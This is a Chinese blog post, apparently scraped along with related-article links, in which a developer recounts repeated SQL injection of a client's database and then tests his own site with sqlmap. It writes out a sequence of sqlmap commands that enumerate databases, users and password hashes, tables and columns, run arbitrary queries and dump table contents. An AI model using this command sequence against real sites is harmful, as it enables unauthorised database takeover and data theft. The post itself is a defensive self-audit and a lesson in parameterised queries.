网站的注入漏洞,应该说绝大多数做web开发的人都知道的事情。可是没想到从事6,7年开发工作的我,却会在这上栽了跟头,真是郁闷啊。心情很纠结,按照老婆的话,怎么感觉我像失恋了一样。

事情的起因还是在几个月前,一个重要客户的网站被注入了,当时没有什么损失,只是发现超过100长度的varchar或者text类型字段,被注入了一段html代码,到是没什么恶意的破坏内容,只是类似于广告一样的东西。

当时并没有重视,只是把表都检查了一遍,清除了一遍了事。

但是没想到几周后,数据库再次被注入,这一次有所警觉了,详细的检查了一下大多数代码,用hp的一套天价软件对网站进行了扫描,确实发现了一个文件有注入隐患,随后清除代码,做了修复了事。

又过了几周,数据库再一次被注入,这就让我比较光火了,再次用hp软件扫描,没有问题,服务器端用各种安全软件扫描,也没发现问题,真的是百思不得其姐,最终又只能清除代码了事。

从此以后,就开始了拉锯,过几周就被注入,然后我清除;再过几周又被注入,我再清除,如此反反复复。甚至到最后,我不定期就会上去看看,又被注入了没。

最终只是整理出了只感染dbo架构的表中长度超过100的字符类型字段。

这是前情提要。割一下。


直到今天下午,又检查时,无意间发现一个奇怪的表名,dbo.pangolin_test_table,我的所有表名都是驼峰命名,只有个别几个表会采取这种下划线命名,而我又很清除是什么表,去google一搜索,我直接泪奔了。

看到了sqlmap,其官网上那句slogan:automatic sql injection and database takeover tool(自动sql注入和数据库接管工具,我觉得takeover翻译为接管,更加霸气一些。)

这次我打算一鼓作气,彻底弄明白这个问题,上网站,找资料。

sqlmap当前版本为1.0,下载地址为:https://github.com/sqlmapproject/sqlmap

sqlmap是用python开发的,因此要在本机安装python运行环境,下载地址为:http://www.python.org/download/

要注意的是,sqlmap对python的版本是有要求的,只能是2.6或者2.7版本,高了低了都不行,这点一定要注意。

安装好python之后,进入sqlmap的解压目录,进行如下的操作测试,sqlmap的具体使用打算再写另外一篇文章,这里只是简单的验证一下。

1、sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 0,开始利用页面对网站进行注入检验,因为是给自己的网站做测试,所以已经os和db,可以直接指定,来加快校验速度:

sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbms "Microsoft SQL Server" --os "Windows" -v 0

出现如下提示:

意思是说,检测到多个注入点,选择一个进行注入检测,q是退出。

2、任意选择一个之后,稍等,即会出现下面的信息:

从这里可以看出,基本的server信息,已经在这里列出了

3、继续执行命令(--dbs参数表示列出服务器上的所有数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --dbs

到这里我已经有点惊恐了,这,太夸张了吧

4、继续执行命令(--users表示列出所有用户):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --users

这个,,好吧,总算还好,只能列出当前web.config字符串中使用的默认登录用户名

5、继续执行命令:(--passwords,列出所有用户密码):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --passwords

执行前,我心颤了几下,要这也可以,我真就郁闷大了,幸亏没获取到,应该是因为我设置了密码强验证有关

6、执行命令(--tables,表示列出所有的表名,dbname,可指定某个具体的数据库):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --tables -D dbname

我觉得,瞬间有尿点了。。

7、执行命令(--columns ,表示列出字段,tablename ,为指定的表名):sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" --columns -T tablename -D dbname

你妹啊,要管理器还干毛啊,直接用这个不就好了。

8、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 --sql-query "select top 20 * from City"

还带查询的,,那更新,岂不,,,,我已经无语了。。

9、执行命令:sqlmap.py -u "http://www.xxx.com/?year=2012&month=06" -v 1 -T tablename -D dbname --dump

还想做的再强大点么,连导出都带了。。

这一串做完,我不禁觉得蛋疼菊紧,这这,,曾经以为注意了,整数字符串的强验证,正则表达式对常规的邮箱、手机号等校验,只是参数化语句,确实因为各种原因,没有贯彻的很彻底,再加上实际上的目标页面,是我忙的一段时间,另外一个同事做的。

但是却没想到,就疏忽在这小小的几个页面上了。

一定要引以为戒啊。。。。

我被SQL注入撞了一下腰的更多相关文章

  1. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  2. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  3. Java应用开发中的SQL注入攻击

    1. 什么是SQL注入攻击? SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多.但是由于程序员的水平及经验参差不齐,相当一部分 ...

  4. 【安全测试】sql注入

    SQL注入攻击是黑客对 数据库 进行攻击的常用手段之一,随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员越来越多,但是由于程序员水平及经验页参差不齐,相当大部分程序员在编写代码的时候没有 ...

  5. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  6. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  7. 从c#角度看万能密码SQL注入漏洞

    以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...

  8. 浅谈SQL注入风险 - 一个Login拿下Server

    前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...

  9. 揭开SQL注入的神秘面纱PPT分享

        SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助.     点击这里下载.

随机推荐

  1. asp.net DropDownList的AppendDataBoundItems属性

    个人笔记 当设置DropDownList的AppendDataBoundItems属性为true,是将数据绑定项追加到静态声明的列表上,即在绑定之前可加入静态列表项. 例如: 前台这么写: <a ...

  2. 表单元素的submit()方法和onsubmit事件(转)

    1.表单元素中出现了name="submit"的元素 2.elemForm.submit();不会触发表单的onsubmit事件 3.动态创建表单时遇到的问题 表单元素拥有subm ...

  3. java_httpservice

    http://blog.csdn.net/maosijunzi/article/details/41045181

  4. poj 3228 Gold Transportation 二分+网络流

    题目链接 给出n个城市, 每个城市有一个仓库, 仓库有容量限制, 同时每个城市也有一些货物, 货物必须放到仓库中. 城市之间有路相连, 每条路有长度. 因为有些城市的货物量大于仓库的容量, 所以要运到 ...

  5. Oracle SQL CPU占用高

    Oracle数据库经常会遇到CPU利用率很高的情况,这种时候大都是数据库中存在着严重性能低下的SQL语句,这种SQL语句大大的消耗了CPU资源,导致整个系统性能低下.当然,引起严重性能低下的SQL语句 ...

  6. 【Delphi内联汇编学习1】Delphi与汇编

    我一直认为Delphi功能与C++相比毫不逊色,提供了丰富的控件和类.全部API以及嵌入的汇编.最近小弟在把C版的Huffman压缩改用Delphi写时,顺便“研究”了一下Delphi的位操作和嵌入式 ...

  7. 《火球——UML大战需求分析》(0.2)——目录

    说明: <火球——UML大战需求分析>是我撰写的一本关于需求分析及UML方面的书,我将会在CSDN上为大家分享前面几章的内容,总字数在几万以上,图片有数十张.欢迎你按文章的序号顺序阅读,谢 ...

  8. ubuntu 常用生产环境部署配置测试调优

    1,ubuntu monogdb 安装配置 2,ubuntu jdk1.7,tomcat7安装 3,ubuntu LAMP部署 4,mongodb 远程热备份及恢复 使用自带的mongodump和mo ...

  9. Euromonitor 2013年奢侈品报告精选 |华丽志

    Euromonitor 2013年奢侈品报告精选 |华丽志 Euromonitor 2013年奢侈品报告精选

  10. GLView基本分析

    GLView是cocos2d-x基于OpenGL ES的调用封装UI库. OpenGL本身是跨平台的计算机图形实现API,在每一个平台的详细实现是不一样.所以每次使用之前先要初始化,去设置平台相关的信 ...